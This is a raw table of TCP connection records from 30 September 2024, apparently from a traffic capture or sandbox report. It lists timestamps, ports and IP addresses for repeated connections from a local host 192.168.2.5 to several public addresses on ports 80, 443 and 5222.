Sep 30, 2024 12:21:01.341543913 CEST	50119	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:01.346070051 CEST	50128	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:01.348604918 CEST	5222	50122	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:01.349452019 CEST	50122	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:01.353481054 CEST	50129	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:01.353498936 CEST	50130	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:01.393131018 CEST	5222	50128	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:01.395407915 CEST	443	50129	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:01.397032022 CEST	80	50089	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:01.397111893 CEST	50089	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:01.401335955 CEST	80	50130	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:01.408987045 CEST	50131	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:01.416739941 CEST	5222	50131	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:01.417125940 CEST	50131	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:01.417428017 CEST	50131	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:01.418322086 CEST	50132	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:01.418348074 CEST	443	50132	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:01.418545961 CEST	50132	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:01.419868946 CEST	50132	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:01.419886112 CEST	443	50132	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:01.425170898 CEST	5222	50131	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:01.433614969 CEST	443	50121	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:01.433741093 CEST	50121	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:01.433741093 CEST	50121	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:01.433746099 CEST	443	50121	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:01.433809042 CEST	50121	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:01.443243980 CEST	80	50092	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:01.445151091 CEST	50092	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:01.456937075 CEST	50131	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:01.457119942 CEST	50132	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:01.457206964 CEST	80	49771	103.78.229.139	192.168.2.5
Sep 30, 2024 12:21:01.457339048 CEST	49771	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:21:01.465238094 CEST	50133	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:01.465291023 CEST	443	50133	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:01.465363026 CEST	50133	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:01.466974020 CEST	50133	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:01.466995001 CEST	443	50133	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:01.469379902 CEST	50134	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:01.469429016 CEST	443	50134	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:01.469501019 CEST	50134	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:01.470674992 CEST	50134	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:01.470694065 CEST	443	50134	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:01.480834961 CEST	50135	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:01.483834982 CEST	5222	50125	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:01.484235048 CEST	50133	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:01.484271049 CEST	50125	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:01.487343073 CEST	5222	50135	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:01.489051104 CEST	50135	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:01.499682903 CEST	50135	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:01.503417969 CEST	443	50132	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:01.503432989 CEST	50136	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:01.506320953 CEST	80	50095	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:01.507249117 CEST	5222	50135	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:01.507349014 CEST	50095	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:01.509457111 CEST	80	50136	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:01.509754896 CEST	5222	50131	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:01.509872913 CEST	50136	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:01.511092901 CEST	50136	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:01.518282890 CEST	80	50136	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:01.518362045 CEST	50136	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:01.524549007 CEST	80	50136	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:01.527445078 CEST	443	50133	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:01.547750950 CEST	443	50126	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:01.547873974 CEST	50126	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:01.547887087 CEST	50126	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:01.548744917 CEST	443	50124	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:01.548810005 CEST	50124	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:01.549957991 CEST	50124	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:01.555322886 CEST	50135	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:01.555490017 CEST	50136	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:01.555706024 CEST	50134	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:01.557877064 CEST	50137	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:01.557997942 CEST	50138	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:01.558041096 CEST	443	50138	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:01.558106899 CEST	50138	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:01.559415102 CEST	50138	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:01.559431076 CEST	443	50138	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:01.559892893 CEST	50139	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:01.562647104 CEST	5222	50137	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:01.562720060 CEST	50137	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:01.562946081 CEST	50137	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:01.567540884 CEST	80	50139	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:01.568137884 CEST	5222	50137	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:01.568203926 CEST	50139	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:01.568422079 CEST	50139	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:01.576118946 CEST	80	50139	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:01.576184034 CEST	50139	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:01.583461046 CEST	80	50139	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:01.599406958 CEST	443	50134	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:01.601524115 CEST	80	50136	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:01.601536989 CEST	5222	50135	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:01.618592978 CEST	50140	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:01.619206905 CEST	80	50098	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:01.620558977 CEST	50141	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:01.620601892 CEST	443	50141	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:01.620621920 CEST	50098	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:01.620661974 CEST	50141	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:01.621637106 CEST	50142	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:01.624910116 CEST	5222	50140	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:01.625113010 CEST	50140	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:01.625402927 CEST	50140	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:01.626372099 CEST	50141	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:01.626393080 CEST	443	50141	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:01.627969980 CEST	80	50142	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:01.628043890 CEST	50142	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:01.628257036 CEST	50142	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:01.631969929 CEST	5222	50140	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:01.634406090 CEST	80	50142	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:01.634500027 CEST	50142	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:01.639651060 CEST	80	50142	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:01.647634029 CEST	5222	50128	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:01.647702932 CEST	50128	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:01.667315960 CEST	50137	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:01.667499065 CEST	50139	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:01.667716980 CEST	50138	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:01.669841051 CEST	50144	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:01.669858932 CEST	443	50144	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:01.669953108 CEST	50143	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:01.670051098 CEST	50144	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:01.671264887 CEST	50144	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:01.671278954 CEST	443	50144	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:01.671569109 CEST	50145	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:01.676635981 CEST	5222	50143	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:01.676961899 CEST	50143	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:01.677185059 CEST	50143	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:01.678505898 CEST	80	50145	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:01.678709984 CEST	50145	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:01.678934097 CEST	50145	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:01.682468891 CEST	5222	50143	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:01.685245991 CEST	80	50145	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:01.685303926 CEST	50145	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:01.690082073 CEST	80	50145	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:01.712851048 CEST	80	50139	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:01.712863922 CEST	5222	50137	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:01.715400934 CEST	443	50138	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:01.730262995 CEST	50141	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:01.740869999 CEST	80	50102	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:01.740963936 CEST	50102	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:01.754288912 CEST	443	50129	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:01.754359007 CEST	50129	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:01.754379034 CEST	50129	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:01.762478113 CEST	50143	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:01.762684107 CEST	50145	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:01.763001919 CEST	50144	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:01.765280008 CEST	50146	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:01.765508890 CEST	50147	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:01.765528917 CEST	443	50147	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:01.765902996 CEST	50147	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:01.766545057 CEST	50148	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:01.767174006 CEST	50147	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:01.767184973 CEST	443	50147	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:01.770855904 CEST	5222	50146	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:01.772273064 CEST	50146	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:01.772568941 CEST	50146	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:01.773096085 CEST	80	50148	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:01.773958921 CEST	50148	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:01.774106979 CEST	50148	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:01.775403976 CEST	443	50141	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:01.778295040 CEST	5222	50146	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:01.778876066 CEST	80	50148	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:01.778944016 CEST	50148	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:01.783673048 CEST	80	50148	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:01.797573090 CEST	5222	50131	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:01.803122044 CEST	50131	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:01.803414106 CEST	443	50144	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:01.808756113 CEST	80	50145	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:01.808768034 CEST	5222	50143	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:01.833794117 CEST	80	50105	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:01.837162018 CEST	50105	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:01.843705893 CEST	50149	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:01.843727112 CEST	443	50149	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:01.843808889 CEST	50149	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:01.844966888 CEST	50149	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:01.844979048 CEST	443	50149	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:01.863044977 CEST	5222	50135	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:01.865284920 CEST	50135	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:01.875005007 CEST	50146	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:01.875258923 CEST	50147	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:01.875880003 CEST	50148	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:01.880345106 CEST	443	50132	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:01.880458117 CEST	50132	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:01.880458117 CEST	50132	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:01.884366989 CEST	50150	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:01.884500980 CEST	50151	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:01.884520054 CEST	443	50151	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:01.885018110 CEST	50151	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:01.886013985 CEST	50152	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:01.886244059 CEST	50151	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:01.886253119 CEST	443	50151	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:01.889406919 CEST	5222	50150	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:01.890818119 CEST	80	50152	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:01.890894890 CEST	50150	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:01.891076088 CEST	50152	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:01.891076088 CEST	50152	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:01.891206026 CEST	50150	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:01.896307945 CEST	80	50152	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:01.896410942 CEST	50152	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:01.897985935 CEST	5222	50150	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:01.901691914 CEST	80	50152	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:01.915432930 CEST	443	50147	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:01.924720049 CEST	80	50148	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:01.924730062 CEST	5222	50146	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:01.935133934 CEST	443	50133	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:01.935220957 CEST	50133	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:01.935220957 CEST	50133	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:01.937110901 CEST	443	50134	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:01.937199116 CEST	50134	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:01.940907955 CEST	5222	50137	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:01.940942049 CEST	50134	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:01.940963984 CEST	50137	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:01.943829060 CEST	80	50109	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:01.943892956 CEST	50109	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:01.944346905 CEST	80	49776	103.78.229.139	192.168.2.5
Sep 30, 2024 12:21:01.945244074 CEST	49776	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:21:01.954071999 CEST	50149	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:01.986505032 CEST	50150	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:01.986675024 CEST	50152	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:01.987029076 CEST	50151	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:01.988929987 CEST	50153	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:01.989088058 CEST	50154	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:01.989130974 CEST	443	50154	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:01.990000963 CEST	50154	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:01.990014076 CEST	50155	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:01.991111994 CEST	50154	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:01.991142035 CEST	443	50154	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:01.993992090 CEST	5222	50153	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:01.994889021 CEST	80	50155	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:01.994956017 CEST	50153	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:01.995155096 CEST	50155	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:01.995155096 CEST	50155	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:01.995245934 CEST	50153	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:01.995413065 CEST	443	50149	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:02.000408888 CEST	80	50155	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:02.000436068 CEST	5222	50153	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:02.000715971 CEST	50155	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:02.006553888 CEST	80	50155	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:02.025229931 CEST	443	50138	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:02.025345087 CEST	50138	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:02.025356054 CEST	443	50138	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:02.025398970 CEST	50138	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:02.025432110 CEST	50138	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:02.027409077 CEST	443	50151	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:02.032829046 CEST	80	50152	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:02.032840967 CEST	5222	50150	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:02.038130045 CEST	80	49780	103.78.229.139	192.168.2.5
Sep 30, 2024 12:21:02.040765047 CEST	49780	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:21:02.047377110 CEST	5222	50143	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:02.049765110 CEST	50143	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:02.053288937 CEST	80	50112	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:02.054013968 CEST	50112	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:02.067670107 CEST	50156	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:02.067702055 CEST	443	50156	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:02.067764044 CEST	50156	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:02.068917036 CEST	50156	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:02.068928003 CEST	443	50156	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:02.084521055 CEST	443	50141	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:02.084598064 CEST	50141	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:02.084623098 CEST	50141	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:02.098130941 CEST	50153	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:02.098330021 CEST	50155	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:02.098659039 CEST	50154	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:02.100409985 CEST	50157	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:02.101520061 CEST	50158	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:02.101711988 CEST	50159	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:02.101746082 CEST	443	50159	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:02.101978064 CEST	5222	50140	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:02.102052927 CEST	50159	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:02.102406979 CEST	50142	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:02.103687048 CEST	50159	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:02.103703022 CEST	443	50159	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:02.103789091 CEST	50140	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:02.106317997 CEST	5222	50157	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:02.107079983 CEST	80	50158	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:02.107145071 CEST	50157	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:02.107348919 CEST	50158	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:02.107348919 CEST	50158	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:02.107433081 CEST	50157	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:02.109358072 CEST	5222	50140	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:02.112243891 CEST	80	50158	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:02.112308979 CEST	50158	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:02.112545967 CEST	5222	50157	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:02.117120981 CEST	80	50158	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:02.128978968 CEST	80	49783	103.78.229.139	192.168.2.5
Sep 30, 2024 12:21:02.129435062 CEST	49783	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:21:02.137063026 CEST	443	50144	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:02.137146950 CEST	50144	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:02.137170076 CEST	50144	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:02.139410973 CEST	443	50154	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:02.148746014 CEST	80	50155	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:02.148761034 CEST	5222	50153	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:02.148771048 CEST	80	50142	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:02.158639908 CEST	5222	50146	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:02.161472082 CEST	50146	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:02.177011967 CEST	50156	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:02.180305004 CEST	80	50116	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:02.180372953 CEST	50116	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:02.209259987 CEST	50140	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:02.209460020 CEST	50157	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:02.209558010 CEST	50158	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:02.209862947 CEST	50159	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:02.211930037 CEST	50160	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:02.212069035 CEST	50161	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:02.212089062 CEST	443	50161	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:02.212157965 CEST	50161	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:02.213301897 CEST	50162	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:02.213478088 CEST	50161	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:02.213488102 CEST	443	50161	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:02.214257002 CEST	5222	50140	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:02.214312077 CEST	50140	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:02.216873884 CEST	5222	50160	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:02.216948032 CEST	50160	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:02.217215061 CEST	50160	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:02.218072891 CEST	80	50162	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:02.218152046 CEST	50162	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:02.218322992 CEST	50162	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:02.221991062 CEST	5222	50160	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:02.223102093 CEST	80	50162	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:02.223160028 CEST	50162	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:02.223406076 CEST	443	50156	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:02.228300095 CEST	80	50162	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:02.251034975 CEST	443	50147	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:02.251131058 CEST	50147	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:02.251131058 CEST	50147	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:02.251418114 CEST	443	50159	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:02.256753922 CEST	80	50158	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:02.256767035 CEST	5222	50157	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:02.268338919 CEST	5222	50150	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:02.268445015 CEST	50150	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:02.290741920 CEST	50163	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:02.290781975 CEST	443	50163	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:02.290848017 CEST	50163	443	192.168.2.5	188.114.97.3
